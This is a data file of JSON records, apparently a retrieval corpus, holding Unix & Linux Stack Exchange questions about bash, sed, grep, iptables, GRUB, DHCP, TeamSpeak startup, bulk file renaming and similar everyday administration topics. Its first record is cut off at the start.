GNU/Linux I'm not really the most linux savvy, so I don't really know what more information I can provide you all with. Please let me know if there is some other piece of information I can give you that would be helpful."} {"_id": "36547", "title": "How can I expand a relative path at the command line, with tab completion?", "text": "In `bash` is there any way to expand a relative path into an absolute path, perhaps with tab completion? I ask because sometimes I will search for a file, find it, then `vim` it: cd /etc cd apache2 cd sites-available vim 000-default Then I will do some other things and change directories: cd /tmp ls cd ~ ls Then I'll find that I need to edit the same file again, but it is not possible to use `history`, (or history search), because the file path is relative. **Current Workaround** If I know I'm going to be reusing a file a lot, after I find it I will grab the full path using something like `realpath`: $ realpath 000-default /etc/apache2/sites-available/000-default (copy and paste path into next command:) $ vi /etc/apache2/sites-available/000-default **Caveats** This still requires copying and pasting. I believe there should be an easier way to get a file's full path into my history. What options do I have? I believe that I have (accidentally) pressed some key combination before that expanded a relative path into a full path. I know in bash you can type: cd /etc ls bash_*(control+x *) and get: ls bash.bashrc bash_completion bash_completion.d So is there a way I can expand a relative path into an absolute path, so that I can save operations on a file in my history with that file's full path?"} {"_id": "36546", "title": "IPCop v2.0.3 Install via USB", "text": "I have a SFF (Small Form Factor) PC that I am attempting to install IPCop v2.0.3 onto for use as a firewall in my home network. As it is SFF (Mini-ITX) it did not come with a disk drive and I do not have an external one. I attempted to install via a USB stick, however when I boot up the computer it goes through initial startup and then boots to the SSD to a black screen saying \"NO OS Found\". I am trying to install IPCop onto a Jetway NF9D-2700 Dual LAN Intel Atom D2700 2.13GHz mini-itx based computer, onto a Crucial 64GB SSD. I used a method by Nicholas Overstreet, and basically used dd for windows to install the IPCop image onto a USB drive. I have tried this with both the ipcop-2.0.3-install-usb-hdd.i486.img and ipcop-2.0.3-install-usb-fdd.i486.img, but neither worked. Does anyone know if there is any problem with this hardware recognizing the IPCop install via USB? Or have any other helpful hints? I went to BIOS and set the boot priority to the USB drive prior to attempting the install, but it didn't help."} {"_id": "36549", "title": "configure dhcp client without accepting nameserver entries", "text": "I am trying to configre my openSuSE 12.1 machine as DHCP client, but especially do not want it to set the name server entries to `/etc/resolv.conf` it has got from DHCP server. Can I do it on the client site without manually deleting the entries afterwards? On windows machines this is possible due to the setting > ( ) Obtain DNS server address automatically > > (O) User the following DNS server addresses: and then just leave the fields for Preferred and Alternate DNS server blank."} {"_id": "146009", "title": "Enable BFQ in Fedora", "text": "I am running Fedora with the stock kernel and I'd like to enable the BFQ disk I/O scheduler, and ideally BFS. I have built my own kernel and that works, though it is a royal pain dealing with the Nvidia drivers. Can I enable BFQ and BFS without building my own kernel, such as by adding kernel args to grub? If not, is there a kernel package available that supports this?"} {"_id": "63876", "title": "Changing the timestamp of a symlink", "text": "I know how to change the timestamp of a regular file: touch -t 201301291810 myfile.txt I was not able to do the same with a symlink. Is it possible? Distro: RHEL 5.8"} {"_id": "63875", "title": "Why does this add spaces? echo \"x ax\" | sed 's/x\\s*/x /'", "text": "I want to find a `x`, and replace the 0 or more following spaces (`\\s*`) with just a single space. echo \"x ax\" | sed 's/x\\s*/x /' For some reason, instead of replacing the spaces with the single space, it just appends one space to however many existed there before: x ax The use of `+` instead of `*` appears to absolutely nothing, regardless of my use of the `-E` flag. It appears that `sed` doesn't do non-greedy expressions, so why doesn't this `*` consume all of the spaces when matching? I'm a regex ninja in non-bash settings, but bash and its tools eat me alive. I've got no idea how to concisely phrase this for a successful search engine query."} {"_id": "63870", "title": "iptables blocking from internet side on eth1?", "text": "How to use iptables to deal with two Ethernet ports? eth0 port for LAN use (192.168.1.50 Private IP). eth1 port is connected to the internet via cable modem (80.0.xxx.xxx public IP). `ifconfig` outout: eth0 Link encap:Ethernet HWaddr 00:19:99:C1:86:BB inet addr:192.168.1.50 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:137532 errors:0 dropped:0 overruns:0 frame:0 TX packets:55658 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:99968969 (95.3 MiB) TX bytes:10403525 (9.9 MiB) Interrupt:50 Memory:fe700000-fe720000 eth1 Link encap:Ethernet HWaddr 00:19:99:C1:61:3B inet addr:80.0.xxx.xxx Bcast:255.255.255.255 Mask:255.255.252.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:144558 errors:0 dropped:0 overruns:0 frame:0 TX packets:70347 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:34500131 (32.9 MiB) TX bytes:27893843 (26.6 MiB) Interrupt:177 Memory:fe600000-fe620000 How to use iptables to block all the incoming route to `eth1` but only allow port 22. So that on Internet side can't access to our web server, ftp server, etc. Only allow port 22 for SSH access. Ping should also work too. On the local network (`eth0`), there are over 70 client PC's - They should be able to access anything on the server but just block internal local ip's 192.168.1.20 and 192.168.1.30 from accessing to 192.168.1.50 (private ip) server. How can it be done using iptables?"} {"_id": "147383", "title": "/usr/bin/X :0 -audit process", "text": "Hello I am trying to solve some internet problems that I have. It is a university computer and I do not have root access. I want to understand what is this processor, that root has started, and if you think it can be related to my slow internet connection. ![enter image description here](http://i.stack.imgur.com/0oni6.png)"} {"_id": "153715", "title": "Is there any useful purpose for directories with permissions -w-?", "text": "Being aware of this answer I wonder whether there is any useful purpose for write-only directories, i.e. directories with permissions `-w-`. Any directory-\"writing\" operation I know of (such as `creat`, `mkdir`, `link`, `unlink`, `symlink`, `rename`) fails with permissions `-w-` but works perfectly with permissions `-wx`."} {"_id": "154887", "title": "Clonezilla Backup software freezes on boot", "text": "I can get as far as the GRUB menu. After that using any of the menu options I get a gray screen saying \"Loading please wait...\" and a blinking cursor. The cursor disappears after about 1 second and everything freezes up."} {"_id": "112125", "title": "Is there a reason why ls does not have a --zero or -0 option", "text": "This question was prompted by questions about `ls`' `-1` option and the recurring tendency of people to ask question and answers that includes processing the output of `ls`. This reuse of the output `ls` seems understandable, e.g.: if you know how to sort a list of files with `ls` you might want to use the output in that way as input for something else. If those Q&A don't include a reference to the file name list produced consisting of nicely behaving file names (no special characters like spaces and newlines), they are often commented upon by someone pointing out the danger of the command sequence not working when there are files with newlines, spaces etc. `find`, `sort` and other utilities solve the problem of communicating \"difficult\" file names to e.g. `xargs` by using an option to separate the file names with the NUL character/byte which is not a valid character in file name (the only one in addition to `/`?) on Unix/Linux filesystems. I looked to the man page for `ls` and the output for `ls --help` (which has more options listed) and could not find that ls (from the coreutils) has an option to specify NUL seperated output. It does have a `-1` option which can be interpreted as \"output file names separated by newline\") **Q** : Is there are technical or philosophical reason why `ls` does not have a `\\--zero` or `-0` option that would \"output file names separated by NUL\"? If you do something that only outputs the file names (and not use e.g. `-l`) that could make sense: ls -rt -0 | xargs -r0 ... I could be missing something why this would not work, or is there an alternative for this example that I overlooked _and that is not much more complicated and/or obscure_. * * * Addendum: Doing `ls -lrt -0` probably does not make much sense, but in the same way that `find . -ls -print0` does not, so that is not a reason to not provide a `-0`/`-z`/`\\--zero` option."} {"_id": "34948", "title": "ArchBang dual boot with Windows: HowTo", "text": "I have been reading up on ArchBang, and I am quite interested to try it. My netbook does not have a CD/DVD drive, so I created USB installation stick using numerous Windows tools, like LiLi, and Linux tools, like UNetBootIn. However, I never seem to succeed to the end! In the 3rd step, i.e. copying the files, I am getting endless input/output failure messages, and then my system freezes. I tried from USB to USB, and from USB to netbook HDD, and it happens in both cases and installation never ultimately succeeds. I want it as dual boot with Windows. On my netbook, I tried it that way, by setting partitions manually lest ArchBang deletes everything. On the USB stick, I tried installing ArchBang standalone. But those input/output failures never leave me! Please help! Thanks in advance."} {"_id": "34946", "title": "Add character to beginning and end of column", "text": "I have a file like this: 78@54@this@15@23 65@22@is@92@16 34@12@an@14@18 13@42@example@52@22 And I want to change it to this: \"78\"@54@\"this\"@15@23 \"65\"@22@\"is\"@92@16 \"34\"@12@\"an\"@14@18 \"13\"@42@\"example\"@52@22 I've been struggling on this for a long time and I can't understand how to do it. Any help is appreciated, thank you."} {"_id": "34945", "title": "Mumble doesn't bind to network address on boot, needs to be restarted (doesn't properly wait for network?)", "text": "I have a default, unchanged installation of the Mumble server on Debian Squeeze (package \"mumble-server\"). On a previous setup, starting the server (called murmurd) on boot using the default init scripts worked fine. On a new setup, that seems to me to be identical in every way, murmurd doesn't seem to bind to a network address on boot. No clients can thus connect until I restart the process after booting. The logs are quite telling. On boot: 2012-03-25 00:15:01.543 Murmur 1.2.2 (1.2.2-6+squeeze1) running on X11: Debian GNU/Linux 6.0.4 (squeeze): Booting servers 2012-03-25 00:15:01.617 1 => Announcing server via bonjour 2012-03-25 00:15:01.650 1 => Not registering server as public and no clients can connect. Using `service mumble-server restart` after boot, however, gives: 2012-03-25 00:22:27.529 Murmur 1.2.2 (1.2.2-6+squeeze1) running on X11: Debian GNU/Linux 6.0.4 (squeeze): Booting servers 2012-03-25 00:22:27.549 1 => Server listening on [::]:64738 2012-03-25 00:22:27.559 1 => Announcing server via bonjour 2012-03-25 00:22:27.570 1 => Not registering server as public Notice the third line. It thus seems to me that the init script tries to start the daemon before the network is up and running. The `/etc/rc2.d/S19mumble- server` script that comes with the package says, though: # Required-Start: $network $local_fs $remote_fs dbus The exact same setup works fine on a different machine (also running Debian Squeeze), so I'm beginning to suspect it has something to do with timing on boot, or some other nondeterministic factor. Ideas?"} {"_id": "83268", "title": "Moving /boot to new partition produces: file '/boot/grub/i386-pc/normal.mod' not found", "text": "I'm attempting to move my `/boot` folder from the `/` partition, to `/dev/sdb`. The following script: parted -s /dev/sdb mklabel msdos mkpart primary ext2 1M 100% set 1 boot on mkfs.ext2 /dev/sdb1 mkdir /mnt/boot mount /dev/sdb1 /mnt/boot cd /boot find . -depth -print0 | \\ cpio --null --sparse --make-directories --pass-through --verbose /mnt/boot cd / umount /mnt/boot mv /boot /boot.orig mkdir /boot echo \"/dev/sdb1 /boot ext2 ro 0 2\" >>/etc/fstab mount /dev/sdb1 /boot parted /dev/sda set 1 boot off grub-install /dev/sdb update-grub reboot produces this error: error: file '/boot/grub/i386-pc/normal.mod' not found. grub rescue> Any ideas? **Edit** : It appears that the above script works fine, if the original `/boot` directory is on a separate partition (say `/dev/sda2`). It only fails if it's on the same partition as the `/` partition (`/dev/sda1`). I've tried many, many variations of the above script, on both Ubuntu 13.04 and Fedora 19, and have yet to avoid the `file '/boot/grub/i386-pc/normal.mod' not found` error. Any other ideas?"} {"_id": "83260", "title": "Reading grep patterns from a file", "text": "I have a couple of big text files and in the file `UNIQS.txt` I have a list of strings to `grep` from another file. The code I use is grep -f UNIQS.txt EEP_VSL.uniqs.sam > UNIQ_templates.sam which does nothing - the file generated is empty. But when I do grep -F -f UNIQS.txt EEP_VSL.uniqs.sam > UNIQ_templates.sam it works correctly. This confuses me because I didn't think `grep` would interpret the entries in `UNIQS.txt` as `regexp` patterns without quotes and slashes and so on being in the file (which there aren't). Is it the case in general that if you are getting the patterns from a file then it will automatically think that they are `regexp` patterns? **Edit:** In the `UNIQS.txt` file, there are newline separated strings of the form HWI-ST365:215:D0GH0ACXX:2:1101:10034:186783 (called template names) and the file `EEP_VSL...` tab separated columns, with about 14 columns and the first column is the template name, so basically I want to extract the line corresponding to each template in the file."} {"_id": "124187", "title": "Accept any private key for authentication", "text": "Is it possible to configure OpenSSH (or any other standard sshd) to accept any key offered by a connecting client? EG `ssh -i ~/arbitraryKey hostname` grants a login shell while `ssh hostanme` doesn't. I ask because of a half remembered anecdote about a misconfigured server but I've had a look and I couldn't find anything that would actually let this happen without some form of deliberate hacking of the daemon. (Recompiling etc)"} {"_id": "108920", "title": "upgrade Python to 2.7.2", "text": "I have an embedded system running on `Python 2.6.5` and i want it to upgrade to `2.7.2` (I have a running system with different kernel that runs `2.7.2`). I have copied the binary but then it told me: `python: can't load library 'libpython2.7.so.1.0'` when i tried to launch it - fine, i grabbed and copied that as well and now I get: # python Could not find platform independent libraries Could not find platform dependent libraries Consider setting $PYTHONHOME to [:] Segmentation fault How can I get this system upgraded to `Python 2.7.2` while keeping the old, original kernel \u2014 I only want to update Python, not the whole image \u2014 possible?"} {"_id": "108921", "title": "How to start teamspeak 3 on boot, ubuntu server 12.04", "text": "So I'm quite new to linux but I'm starting to understand it. I have a Ubuntu Server 12.04 system, fresh install, and I installed a teamspeak 3 server on it: $ sudo useradd teamspeak (provided user info and password) $ su teamspeak (entered password) $ cd /home/teamspeak $ wget http://ftp.4players.de/pub/hosted/ts3/releases/3.0.10.3/teamspeak3-server_linux-amd64-3.0.10.3.tar.gz (download teamspeak.tar.gz) $ tar -zxvf teamspeak3-server_linux-amd64-3.0.10.3.tar.gz (unpacked the file to teamspeak3-server_linux-amd64) $ mv teamspeak3-server_linux-amd64 server (server is no located in /home/teamspeak/server) $ cd ./server $ ./ts3server_minimal_runscript.sh createinifile=1 (initialized the server) $ ./ts3server_startscript.sh start (started the server) Now when I reboot my server (e.g. `$ sudo reboot`) the server doesn't start up. Obviously because I haven't configured anything in `/etc/init.d` but I have no idea how to do this. I want the server to start like it does with the `/home/teamspeak/server/ts3server_startscript.sh start` script, ran by the user `teamspeak`. I followed several guides but they didn't work. Can someone help me?"} {"_id": "108924", "title": "Does * match hidden files in tar even with dotglob unset?", "text": "I was under the impression that the `*` glob does not match dot-prefixed files unless you manually enable such functionality (through dotglob, or your shell's equivalent). Yet if I have a directory `a` containing files `file1` and `.hidden1`, then if I do tar -cvpjf backup.tar.bz2 --exclude 'a/*' a the resulting tar file contains only the empty directory `a` and no trace of either the hidden or non-hidden file. My expectation would have been only the non-hidden `file1` would have been excluded. What is going on here?"} {"_id": "108925", "title": "Bash's declare -p HISTIGNORE brings bash to a halt! Why?", "text": "Executing the following code in GNU bash, Version 4.2.45(1)-release (x86_64-redhat-linux-gnu), Fedora 19 ... shopt -s extglob export HISTIGNORE=\"!(+(!([[\\:space\\:]]))+([[\\:space\\:]])+(!([[\\:space\\:]])))\" declare -p HISTIGNORE ... brings bash to a full stop. It does not print a command prompt hereafter. Why is that. Background: All I want to tell bash is to ignore any simple, i.e. one word command. Bash should not remember command lines like `cd`, `pwd`, `history`, etc. My original definition of the `HISTIGNORE` variable looked like this: export HISTIGNORE=\"!(+(!([[:space:]]))+([[:space:]])+(!([[:space:]])))\" I added a `\\` backslash character before each `:` colon character because according to the `bash` info pages the latter separates each (extended) shell glob, i.e. pattern from another. Without escaping the single pattern does not have any effect and a simple command still makes it into history."} {"_id": "108929", "title": "How do I mount my encrypted private home directory if I forgot the password?", "text": "On Ubuntu 12.04, how can I access encrypted private home directory? I forgot my root password at some point and my root home folder is locked. I am now using another account in root group so can I get access to encrypted home directory from this account?"} {"_id": "18448", "title": "rename character \"\u00e2\" of directory name?", "text": "I'm trying to rename rename character `\u00e2` of directory name to be blank. For example, directory with name `how-\u00e28093-to`. This is the command I use, including some other modification find . -type d | xargs rename 's/\u00e2//' but still not works."} {"_id": "138873", "title": "Using source downloaded on windows on Linux platform", "text": "I downloaded the Linux source code from the git repository on Windows and then copied the files to Fedora. I am unable to the build the kernel. Is this, because I downloaded the source on Windows environment and then copied it to Linux? The command make defconfig gives error message lib/Kconfig.debug:1543: unknown option *the* lib/Kconfig.debug:1546: syntax error lib/Kconfig.debug:1545: unknown option *This* lib/Kconfig.debug:1546: unknown option *in* lib/Kconfig.debug:1549: syntax error lib/Kconfig.debug:1548: unknown option *See* lib/Kconfig.debug:1560: syntax error lib/Kconfig.debug:1559: unknown option *If* lib/Kconfig.debug:1569: syntax error lib/Kconfig.debug:1568: unknown option *Say* samples/Kconfig:23: syntax error samples/Kconfig:22: unknown option *If* samples/Kconfig:50: syntax error samples/Kconfig:49: unknown option *If* make[1]: *** [defconfig] Error 1 make: *** [defconfig] Error 2 [adminuser@localhost linux]$ _ The complete error message was too long basically says about syntax error in Kconfig.debug file ( unknown option ). I may have to download the entire source code again if it is so."} {"_id": "31338", "title": "Offsetting maximized window? (KDE + Compiz + Emerald)", "text": "Is there a way anyone knows of to offset a maximized window's position in KDE+Compiz+Emerald setup? I seem to have a 5px distance between the top of the screen and where the window actually starts. It's the little things that unrelentlessly nag."} {"_id": "31476", "title": "Extracting a regex matched with 'sed' without printing the surrounding characters", "text": "To all the 'sed' doctors out there: I have a seemingly trivial 'sed' question to which I have not been able to find a solution. How can you get 'sed' to exctract a regular expression it has matched in a line? In other words words, I want just the string corresponding to the regular expression with all the non-matching characters from the containing line stripped away. I tried using the back-reference feature like below regular expression to be isolated gets `inserted` here | v sed -n 's/.*\\( \\).*/\\1/p this works for some expressions like sed -n 's/.*\\(CONFIG_[a-zA-Z0-9_]*\\).*/\\1/p which neatly extracts all macro names starting with 'CONFIG_ ....' ( found in some '*.h' file ) and prints them all out line by line CONFIG_AT91_GPIO CONFIG_DRIVER_AT91EMAC . . CONFIG_USB_ATMEL CONFIG_USB_OHCI_NEW . e.t.c. BUT the above breaks down for something like sed -n 's/.*\\([0-9][0-9]*\\).*/\\1/p this always returns single digits like 7 9 . . 6 rather than extracting a contigious number field such as. 8908078 89670890 . . . 23019 . e.t.c. P.S.: I would be grateful to feedback on how this is achieved in 'sed'. I know how to do this with 'grep' and 'awk' I would like to find out if my - albeit limited - understanding of 'sed' has holes in it and if there is way to do this in 'sed' which I have simply overlooked."} {"_id": "43133", "title": "Only return the matched string in sed", "text": "> **Possible Duplicate:** > Extracting a regex matched with 'sed' without printing the surrounding > characters How do I make this only print `test`: echo \"atestb\" | sed -n 's/\\(test\\)/\\1/p'"} {"_id": "15671", "title": "boot messages for wireless nic in Fedora 14", "text": "After a recent install of Fedora 14, I had to build the firmware for my Broadcom 4311 wireless nic. I got the wireless working, but only after adding `modprobe b43` to the `rc.local` file. On every boot, however, I am now get a message stating: Bringing up interface Auto_Tigris_Connecticus: Device does not seem to be present, delaying initialization. [FAILED] My understanding is that the `rc.local` file is loaded after the other _\"normal\"_ boot steps, so I am thinking that the `modprobe b43` statement should be added elsewhere. Can someone point me in the right direction as to where to add module `b43` in the boot process to make sure that I dont receive these (admittedly harmless) boot messages?"} {"_id": "76364", "title": "GDM not showing when I boot my FreeBSD system", "text": "I've installed FreeBSD 9.1 in a VirtualBox VM, and did some basic setup. After that, I had installed Gnome2 via `sudo pkg_add -r gnome2`. Along the way, there were some errors. Mostly it was (I think) the package manager complaining about dependencies. They were piling up faster then they were getting resolved (sometimes a package that was reported as a broken dependency would get installed), and when there was around a dozen of them, the installation had stopped without any errors. I had simply executed the command again, waited for 20 more minutes, and then got greeted with an \"installation successful\" message. **I restarted the system only to end up with GDM not starting and a regular text prompt ready.** In trying to solve this I had: 1. added `gnome_enable=\"YES\"` to `/etc/rc.conf` (Why wasn't it there by default?) 2. added `proc /proc procfs rw 0 0` to `/etc/fstab` (I'm not even sure how this is related, but it was supposed to help... I suppose Gnome2 checks fstab for something.) But I still have no luck, and GDM still doesn't show itself. However, RC (`rc.conf`, or whatever is executing it) _does_ report that it is starting GDM: ![enter image description here](http://i.stack.imgur.com/nBTtI.png) When I tried to execute `/usr/local/etc/rc.d/gdm start`, it displayed this error message and supposedly failed: ![enter image description here](http://i.stack.imgur.com/tHrlH.png) **What should I do to start a Gnome2 graphical session in FreeBSD? How can I check whether I have everything I need installed and configured correctly?**"} {"_id": "76366", "title": "How-to diff distributions?", "text": "I am using a Raspberry Pi. There seem to be all kinds of linux distributions, all in .img Format that I use Win32DiskImager for to burn to SD-card. How do I find out, which files were changed(some people say, this image was made off distribution X, so I could use dist. X as one file and his as the other and compare) and how to figure out whether a custom distribution is malicious or not? I would like to figure differences out under windows 7. The Distros are always Linux, though."} {"_id": "15679", "title": "Wireless Connectivity and Fedora 15 Boot Up", "text": "I'm currently running Fedora 15 and recently I've noticed that if I am in an area which does not have a wireless network or a secured wireless network which I cannot automatically connect to, Fedora 15 boots up very slowly, sometimes hanging on the screen with the Fedora logo. Is there a way to fix this?"} {"_id": "146862", "title": "\"make test\" failed while compiling Python", "text": "I compiled Python 3.4.1 on an emulated Debian 7 ARM system. `make test` failed on test_multiprocessing_fork: FAIL: test_semaphore_tracker (test.test_multiprocessing_fork.TestSemaphoreTracker) ---------------------------------------------------------------------- Traceback (most recent call last): File \"/root/sources/python3-3.4.1/Lib/test/_test_multiprocessing.py\", line 3667, in test_semaphore_tracker _multiprocessing.sem_unlink(name2) AssertionError: OSError not raised Another test, test_io, simply freezes the `make test`. **What could be the problem?** My only guess is I missed some prerequisite. According to `./configure`, I do not have these header files in my system: minix/config.h conio.h direct.h ieeefp.h io.h process.h sys/devpoll.h sys/audioio.h sys/bsdtty.h sys/event.h sys/kern_control.h sys/loadavg.h sys/lock.h sys/mkdev.h sys/modem.h sys/sys_domain.h sys/termio.h libutil.h bluetooth.h bluetooth/bluetooth.h util.h sys/endian.h time.h that defines altzone"} {"_id": "107678", "title": "Omit the target dir from find results", "text": "How can I prevent `find` from returning the directory I use as the root to start searching from in the results? e.g.: $ find targetDir -name 'target*' targetDir/target1 targetDir/target2 targetDir/subDir/target3 instead of: $ find targetDir -name 'target*' targetDir targetDir/target1 targetDir/target2 targetDir/subDir/target3"} {"_id": "107675", "title": "How to set up server networking on Debian?", "text": "I'm helping a friend to set up a media server for his new house. I've installed Debian 7.2.0 and I'm trying to get the network up and running. The physical set-up is like this: Other wireless devices ^ | Server: Internet <---> Wireless Router <---------> eth0 (built-in motherboard) UTP eth1 (extra card) <-----> PC conn. to TV UTP I would like the server to have a static IP address so it can easily be found. Furthermore, the server should share it's internet connection to the PC connected to the TV (running Windows 8). I got it working yesterday using one of the built-in GUI configuration tools. However it stopped working today (possibly due to a restart or plugging in/out the cables) after moving the server to the attic. I've read and tried a lot of tutorials, but get stuck because I do not understand them or because they are meant for different distributions. What steps should I take to: * Reset or get rid of any settings I made in the GUI/iptables/etc.? * Give the server a static IP? * And make it share it's internet connection to the PC on eth1? * Make it all permanent?"} {"_id": "24761", "title": "Rename All Files with a Certain Name", "text": "I'm trying to find certain files with the name \"stringx\" and replace the name (but not the extension) with \"stringy\". So basically for stringx.txt and stingx.cs, I'd want stringy.txt and stringy.cs. I've attempted to test my rename command regex using following, but it returns no results: rename -n 'stringx./s/\\*$stringy./\\/' stringx.* I'm running csh under Centos. I can see that my regex is probably not correct, but I can't see any results to verify this. I can see that there are files that are named stringx. with the following: find ./ -name 'stringx.*'"} {"_id": "114688", "title": "bash replace part of string based on location", "text": "Sorry I've looked around for a one line solution ( as bash offers ) to replace part of filename. Given that a folder has image sequence like ve2_sq021_sc001_v000.0101.jpg ve2_sq021_sc001_v000.0102.jpg ve2_sq021_sc001_v000.0103.jpg ve2_sq021_sc001_v000.0104.jpg Need to replace only v000 with v09 ( say ). How is it possible (throughout directory)."} {"_id": "24107", "title": "How can I rename a lot of files using a regex?", "text": "I want to rename a lot of files on Mac OS X (10.7.2).. I don't have the perl package for the `rename` command. My files have names like \"T452-102456-0.png\" and I want to delete the \"-0\" part. I know I can do this action by writing my own php-cli script, but I would like to know of an easier and faster solution."} {"_id": "145881", "title": "How to rename file using substring of the same file name", "text": "I want to rename my file with its substring.Because unfortunately renamed all the files in my server. _Now I want to remove suffix( .gz) of all the files including files in subdirectories also._ Below is avaliable files with extra `.gz`. # pwd /usr/apache-tomcat-6.0.36/webapps/rdnqa/WEB-INF/classes # ls META-INF jbpm.hibernate.cfg.xml.gz jbpm.jpdl.cfg.xml.gz jpdl-4.0.xsd.gz config jbpm.hibernate.cfg.xml.mirror.gz jbpm.mail.templates.xml.gz jpdl-4.2.xsd.gz ecnet jbpm.hibernate.cfg.xml.staging.gz jbpm.repository.hbm.xml.gz jpdl-4.3.xsd.gz hibernate.queries.hbm.xml.gz jbpm.history.hbm.xml.gz jbpm.task.hbm.xml.gz jpdl-4.4.xsd.gz jbpm.businesscalendar.cfg.xml.gz jbpm.identity.cfg.xml.gz jbpm.task.lifecycle.xml.gz labels jbpm.cfg.xml.gz jbpm.identity.hbm.xml.gz jbpm.tx.hibernate.cfg.xml.gz log4j.properties.gz jbpm.console.cfg.xml.gz jbpm.jboss.idm.cfg.xml.gz jbpm.tx.jta.cfg.xml.gz nohup.out.gz jbpm.default.cfg.xml.gz jbpm.jbossremote.cfg.xml.gz jbpm.tx.spring.cfg.xml.gz jbpm.default.scriptmanager.xml.gz jbpm.jobexecutor.cfg.xml.gz jbpm.variable.types.xml.gz jbpm.execution.hbm.xml.gz jbpm.jpdl.bindings.xml.gz jbpm.wire.bindings.xml.gz # cd ecnet # ls core jms rd util # cd core # ls util # cd util # pwd /usr/apache-tomcat-6.0.36/webapps/rdnqa/WEB-INF/classes/ecnet/core/util # ls GridService.class.gz MDPDFXMLParser.class.gz PDFColumn.class.gz PDFXMLParser.class.gz GridService.java.gz MDPDFXMLParser.java.gz PDFColumn.java.gz PDFXMLParser.java.gz MDExcelXmlParser.class.gz MasterDetailsPrintWriter.class.gz PDFRow.class.gz RGBColor.class.gz MDExcelXmlParser.java.gz MasterDetailsPrintWriter.java.gz PDFRow.java.gz RGBColor.java.gz MDExcleWriter.class.gz PDFCell.class.gz PDFWriter.class.gz xml2excel MDExcleWriter.java.gz PDFCell.java.gz PDFWriter.java.gz #"} {"_id": "122954", "title": "Mass mv on files and changing filenames", "text": "I want to change these filenames download (19).download ... download (27).download to download (19).html ... download (27).html I run unsuccessfully mv *.download *.html usage: mv [-f | -i | -n] [-v] source target mv [-f | -i | -n] [-v] source ... directory **How can you change the filename?** I think I need a regex here probably."} {"_id": "74565", "title": "Rename multiple files in UNix directory", "text": "I have files in unix directory in below format using sed or some other commands. Owner.Env.File_010513_1200_ver1.expdp Owner.Env.File_010513_1200_ver2.expdp Owner.Env.File_010513_1200_ver3.expdp Owner.Env.File_010513_1200_ver4.expdp I want to rename these files in below format Owner.Env.File_100613_2300_ver1.expdp Owner.Env.File_100613_2300_ver2.expdp Owner.Env.File_100613_2300_ver3.expdp Owner.Env.File_100613_2300_ver4.expdp"} {"_id": "29295", "title": "rename multiple files with rename command?", "text": "> **Possible Duplicate:** > How can I rename a lot of files using a regex? > Rename All Files with a Certain Name There are files with ORDER_EVENTS_SOMETHING_20120117.log ORDER_EVENTS_SOME2_20120117.log ORDER_EVENTS_CHARS_20120117.log and so on.. I need to rename them to ORDER_EVENTS_SOMETHING_20120113.log ORDER_EVENTS_SOME2_20120113.log and so on.. How can I do that?"} {"_id": "122818", "title": "How to rename multiple files", "text": "I have files with names as, A2002185.h23v04.005.2007177004246.hdf A2002201.h23v04.005.2008288062542.hdf I want to rename them by deleting everything in the name after first dot (and have names as _A2002185.hdf_ , _A2002201.hdf_ ), how can I do that?"} {"_id": "56902", "title": "How do I rename multiple files", "text": "> **Possible Duplicate:** > How can I rename a lot of files using a regex? I've got some files named abc-10.5.3.1-1.x86_64.rpm abc-compiler-10.5.3.1-1.x86_64.rpm abc-10.5.3.1-6.x86_64.rpm abc-compiler-10.5.3.1-6.x86_64.rpm I'd like to remove the minor version numbers (1-1 and 1-6) whenver the files are built. I can't figure out how to achieve this with the rename command on Redhat linux. The resulting filename should for example be: abc-10.5.3.x86_64.rpm The command doesn't take regular expressions."} {"_id": "107671", "title": "Command to prevent suspend while another command executes?", "text": "Is there a command to prevent the suspending of a system while another command executes? For example; lets say I have an upload that I want to complete but it gets interrupted because of my machine suspending. Is there a command that I can use to execute another command that prevents my machine from sleeping until the command finishes?"} {"_id": "78018", "title": "LXDE: keybinding for single key not working", "text": "I am trying to bind `lxterminal` to the `windows` key on my keyboard. The problem is, it only works for key kombination, such as `W-r`. But I would like to use `W` only. I have added the following in to the `` section of my `.config/openbox/lxde-rc.xml` true LXterminal lxterminal but this does not work. Can somebody please help? UPDATE: I have just realized, that `` refers to the `W` key (capital w), and not to the Windows key. This is illogical, because key combination `W-e` refers to `Windows key + e`."} {"_id": "33994", "title": "zsh Interpret/ignore commands beginning with '#' as comments", "text": "In bash, if I type a command beginning with a `'#'`, bash ignores it as a comment. Ie, the following is ignored at the bash prompt: > # Hi there! Whereas in zsh: > # Hi there ! zsh: bad pattern: # How can I ask zsh to do the same? This is incredibly useful to \"store\" commands that you want to run later, or to chat when using a shared tmux/screen session. I am using 'oh my zsh'"} {"_id": "33996", "title": "How to copy qemu raw images?", "text": "I want to backup kvm virtual machines and copy machine's images another path or usb disk? How to copy \" qemu raw images\"?"} {"_id": "33999", "title": "Backports on Debian not working", "text": "I'm having problems to update to the latest version of particular software on Debian. I'm using Debian 6.0.4 and I currently I have Shutter version 0.85 which is currently the latest stable version. I have this line in `sources.list`: deb http://backports.debian.org/debian-backports squeeze-backports main and I run the command apt-get -t squeeze-backports install shutter and all I get is that it installs the same 0.85 version. I know there is a unstable version 0.88 and I would really like to get it somehow. Thanks for any help"} {"_id": "33998", "title": "How to track file change", "text": "`nsswitch.conf` file always corrupts somehow. I do restore from my backup every time it corrupt. When this file corrupts, its time stamp is changing. Now I wonder if there is a way to track that file ? I'd like to know which process or maybe user cause that corruption. Is there a way to do that ?"} {"_id": "78014", "title": "How to copy data from Linux Server to Windows Server", "text": "I need to copy from Linux server to Windows. To copy between Linux servers we can use multiple options like scp, or rsync but how to copy data if I have to copy on windows Server from Linux Server. And the size of the data is 2TB so the job should be running in Background. So that I have to close the terminal I can do it without stopping the process."} {"_id": "78017", "title": "Running `screen` through a @reboot cron job", "text": "I want to have a script running in screen at startup. This doesn't work: @reboot pi screen -d -m /home/pi/db_update.py however running this manually as user pi works: screen -d -m /home/pi/db_update.py Any idea on what I am missing?"} {"_id": "78016", "title": "vimrc - how to block comment?", "text": "I don't want to comment lines of text in a text file or code. I am looking for inserting block comments in a _.vimrc_ file. To insert a single line comment `\"` is used, for example: \" remove spaces and tabs as well at the end of line automatically while saving autocmd BufWritePre * :%s/\\s\\+$//e Now I've got a relatively large amount of settings/configs/plugins collected over the years after browsing through the internet to add cool features. I'm looking to add some large comment blocks to my .vimrc file. 